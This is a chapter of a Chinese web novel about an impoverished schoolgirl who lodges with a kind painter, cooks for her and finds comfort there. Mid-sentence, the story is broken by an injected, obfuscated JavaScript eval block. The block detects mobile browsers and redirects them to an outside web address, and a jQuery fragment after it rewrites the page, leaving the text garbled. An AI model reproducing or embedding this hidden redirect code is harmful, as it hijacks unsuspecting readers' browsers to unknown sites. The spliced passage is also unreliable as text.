夕阳西沉，天边的云霞染上了一层橘红色的光晕。乔潇潇坐在公园斑驳的铁艺大门旁，小心翼翼地数着手里皱巴巴的钞票。八块六毛钱，她反复数了三遍，指尖轻轻摩挲着那些被汗水浸湿的纸币。终于，她紧绷了一整天的眉头舒展开来，干裂的嘴角扬起一个浅浅的弧度。这些钱，或许只够城里孩子买杯奶茶，甚至买不起快餐店里的一个汉堡。但对乔潇潇来说，这意味着她又攒够了高中一天的生活费。
暮色中，爆米花的甜香随风飘来，她不由自主地停下脚步。小贩的推车前，金黄的爆米花在灯光下泛着诱人的光泽，“一袋只要两块钱”招牌让乔潇潇停住了步伐，喉头滚动了几下，她攥紧手里的钱，转身融入渐暗的街道。
回去的路上，乔潇潇在菜市场门口驻足。昨天带来的一个干硬的馒头她三两口就下了肚，粗糙的口感刮得喉咙生疼。摊位上的价签让她刚舒展的眉头又拧了起来，这里的青菜竟比老家贵了一倍不止。最后，她买了一斤西红柿，各个精挑细选，红彤彤的保证沙瓤好吃，她不能白白吃白住人家。
走到楚心柔家门口的时候，乔潇潇停下脚步。她理了理洗得发白的衣领，又低头嗅了嗅袖口。夏日的汗味混着街头的油烟味，但还算清爽。
门铃清脆地响了三声，门“吱呀”一声被拉开。楚心柔站在门内，逆着夕阳的余晖，整个人像是被镀上了一层柔和的金边。她身上套着一件靛青色的亚麻罩衫，宽大的袖口沾染了几抹颜料，像是无意间落下的星辰。乌黑的长发随意地散在肩头，发梢还沾着一点未干的水彩。她右手执着一支狼毫笔，笔尖的墨汁将滴未滴，在空气中悬着一颗晶莹的黑珍珠。
“回来了？”楚心柔微微歪头，唇角扬起温柔的弧度。
乔潇潇下意识攥紧了手中的塑料袋，塑料摩擦发出细碎的声响，“嗯，我买了西红柿。”
她举起袋子，透红的果实挤在薄薄的塑料袋里，在夕阳下像是一盏盏小灯笼。
楚心柔的目光在袋子上停留了一瞬，忽然眼睛一亮：“正好我画画渴了。对了—— ”她转身从玄关的矮柜上捧出一个纸袋，“要吃爆米花吗？隔壁刚送来的，甜得发腻，我吃了几个怕长胖。”她皱了皱鼻子，做出一个嫌弃的表情，“扔了又觉得浪费。”
乔潇潇的视线不由自主地黏在那袋爆米花上。
金黄的爆米花堆成小山，每一颗都裹着晶莹的糖衣，在光线中闪烁着甜蜜的光泽，她舔了舔唇，馋了一天的食物就这么在眼前晃动，欲.望终究压下了理智，乔潇潇用力地点了点头，她关上门走了进去。
院子里，画架静静地立在暮色中。
画布上肆意泼洒着浓烈的色彩，钴蓝、绛紫与鎏金交织碰撞，宛如整座城市的霓虹被揉碎后倾泻而下。而在那片令人目眩的斑斓漩涡中央，一个纯白的小小身影静静蜷缩，单薄的线条勾勒出环抱双膝的姿态。它像一滴未干的泪珠悬在繁华之上，与周遭的绚烂格格不入。
乔潇潇看不懂那些抽象的色彩，又勾起了心底童年的回忆，她匆匆瞥了几眼，便低头钻进厨房。水龙头哗哗作响，冰凉的水流冲刷着西红柿鲜红的表皮，也冲散了她心头那点莫名的酸涩。
等她端着晶莹剔透的果盘出来时，楚心柔正在收拾画具。乔潇潇自然而然地凑过去帮忙，动作熟稔地将画笔按粗细分类，颜料管按照色系排列得整整齐齐。
楚心柔看着她问：“你学过画画？”
乔潇潇的手指突然僵在半空。她垂下眼帘，睫毛在脸颊投下淡淡的阴影。“算是吧。”她的声音轻得像一声叹息，“很小的时候学过。”
太小了，以至于那段记忆已经褪色得几乎透明。乔潇潇只记得画室里阳光的味道，颜料管挤出的清脆声响，还有妈妈的手掌覆在她的小手上教她运笔的温暖。
那时候，生活还没有变成一场漫长的寒冬。
她还有家，有爸妈。
楚心柔眼睛一亮：“要不要试试？”
乔潇潇想要推拒，可嘴里爆米花残留的甜味让她点了点头。当楚心柔要给她挤新颜料时，她急忙摆手：“不用，这些剩下的就很好。”
画笔握在手里的感觉既陌生又熟悉。乔潇潇笨拙地调整着握姿，像个刚学写字的孩子。她下意识回头，正看见楚心柔咬着她买的西红柿，汁水染红了唇角，朝她露出鼓励的微笑，那个笑容像一束阳光，温柔地包裹着她。
再次转过身时，乔潇潇的笔尖悬在画布上方微微颤抖。起初每一笔都迟疑不决，像蜗牛在雨后潮湿的地面留下的痕迹。渐渐地，那些线条开始变得急促而有力，颜料在画布上肆意流淌，灰与黑交织成一片压抑的阴云。
她本只是敷衍地应和楚心柔的提议，可画笔却像有了自己的意志。那些被深埋的痛楚顺着笔尖喷涌而出——父亲酗酒后砸碎的碗碟，母亲深夜压抑的啜泣，伯母粗暴的砸门声，村民们看瘟神一样的眼神……记忆的碎片化作浓重的颜料，一层层覆盖在画布上。
她的眼眶不知何时变得滚烫，视线渐渐模糊，一颗泪珠砸在调色盘里，在铅灰色的颜料上溅起微小的水花。乔潇潇这才惊觉自己的失态，慌忙用沾满颜料的手背抹了抹脸，留下一道灰色的痕迹。
“对不起，我画得不好看。”
她低着头，声音细若蚊呐，指甲无意识地抠着画笔的木柄。
楚心柔静静地站在她身后。画布上，浓重的黑色漩涡中心，一个模糊的人形正被无数灰暗的线条缠绕、拉扯。
那些粗粝的笔触里，藏着太多说不出口的痛楚。
楚心柔的目光落在乔潇潇眼角的一抹红上，指尖微微动了动，却终究没有抬手。她只是柔声道：“不要紧的。”顿了顿，又轻声问：“吃饭了吗？”
乔潇潇下意识点头。那个干硬的馒头还在胃里沉甸甸地坠着，喉间似乎还残留着粗糙的触感。
楚心柔看着她紧绷的嘴角，轻轻叹了口气：“我买了五花肉，可惜……”她无奈地摊开手，“我实在不会做这些。”
“我来做！”乔潇潇几乎是脱口而出，声音比平时高了八度。说完才意识到自己的失态，耳尖悄悄红了。
楚心柔的唇角弯成一个温柔的弧度，眼里的笑意像春水般漾开：“好。”她顿了顿，目光扫过乔潇潇沾着颜料的手指，“不过，你先去洗个澡好吗？”
热水淋在身上的瞬间，乔潇潇还有些恍惚。蒸腾的水汽模糊了镜面，也模糊了她的视线。她已经记不清上次这样畅快地沐浴是什么时候了，在伯母家，连多用一瓢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546800|171171||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
水都要看人脸色。多少个深夜，她只能就着月光，用冰冰冷冷的湿毛巾草草擦拭身体。
当乔潇潇用毛巾揉着湿漉漉的发梢走进厨房时，楚心柔指了指沙发：“用那个。”
一只乳白色的吹风机静静地躺在米色沙发垫上，在灯光下泛着温润的光泽。乔潇潇的脚步顿住了，她盯着那个陌生的物件，手指无意识地绞紧了毛巾，“不、不用了，”她声音轻得几乎听不见，“头发……很快就会干的。”
楚心柔正弯腰从冰箱里取肉，头也不抬地说：“不行哦，一会儿进厨房会沾一身油烟味。”她顿了顿，又补充道：“对头发也不好。”
乔潇潇听了生怕自己被嫌弃，乖乖地拿起吹风机吹头发，暖风很舒服，她虽然小，但是常年用冷水洗澡，隐隐的已经落下了偏头疼的毛病，等她吹完后，就迫不及待的去厨房去忙了。
楚心柔想要帮忙打下手，却被乔潇潇坚决地拦在了厨房外。少女纤细的身影在灶台前忙碌得像个陀螺，切肉、备料、调汁，动作行云流水。她对着高压锅说明书研究了片刻，很快就掌握了使用方法。不一会儿，浓郁的肉香就从厨房飘散开来。
坐在客厅的楚心柔望着从未如此热闹的厨房，心里泛起一丝暖意。暖黄的灯光下，锅铲碰撞的声响、蒸汽升腾的呼呼声，这些最平常的生活声响，对她来说却是久违的温馨，她自己在家很少开火，一个是厨艺不好，一个是一个人吃饭懒得折腾。
红烧肉出锅时，乔潇潇细心地注意到楚心柔饮食清淡的偏好，特意加了许多土豆。看着晶莹剔透的肉块和吸饱汤汁的土豆，她盛好米饭就要离开。
楚心柔的声音轻轻传来：“这么多，一起吃吧。”
乔潇潇到那些肉，常年没有油水的胃都快要痉挛了。记忆中，只有在伯父在家时，她才能上桌吃饭，她违心地说：“我不饿。”
楚心柔捧着碗，语气轻描淡写：“吃不完的话，明天也只能倒掉了。”
倒掉？乔潇潇的手指无意识地绞紧了衣角，之前，她听村长宋秋说过，城里人都很讲究，不吃隔夜的剩饭，说里面什么东西超标，对身体不好。
在乔潇潇愣神的片刻，楚心柔已经为她盛好饭，拉开了椅子。
红烧肉刚入口的瞬间，乔潇潇的味蕾仿佛被唤醒了。肥瘦相间的肉块在舌尖化开，浓郁的酱香裹挟着油脂的芬芳在口腔里炸开。她原本还小心翼翼地控制着进食的节奏，可第一口下肚后，长期被亏待的胃开始疯狂叫嚣。
她开始凶狠地干饭，米饭混合着肉汁被大口送入口中，一口接着一口，一碗见底的时候，楚心柔把自己拨出去的那碗又端了过去。
足足吃了两碗饭，胃被填的满满的，身体也暖了，乔潇潇感觉无比的幸福，她摸着肚子，是一天最放松的时候，人也开朗了不少，她信誓旦旦地跟楚心柔保证：“姐姐，以后家里的家务、做饭、整理院子，我都包了。”
说完这话，她屏住呼吸，偷偷观察着楚心柔的反应，手指不自觉地绞紧了衣角，生怕听到拒绝的话。
可楚心柔没有，她的唇角慢慢扬起一个温柔的弧度，眼尾漾开浅浅的笑纹。她伸手轻轻拂去乔潇潇发梢上沾着的一粒米饭，声音轻得像三月的春风：“好，那要辛苦你了。”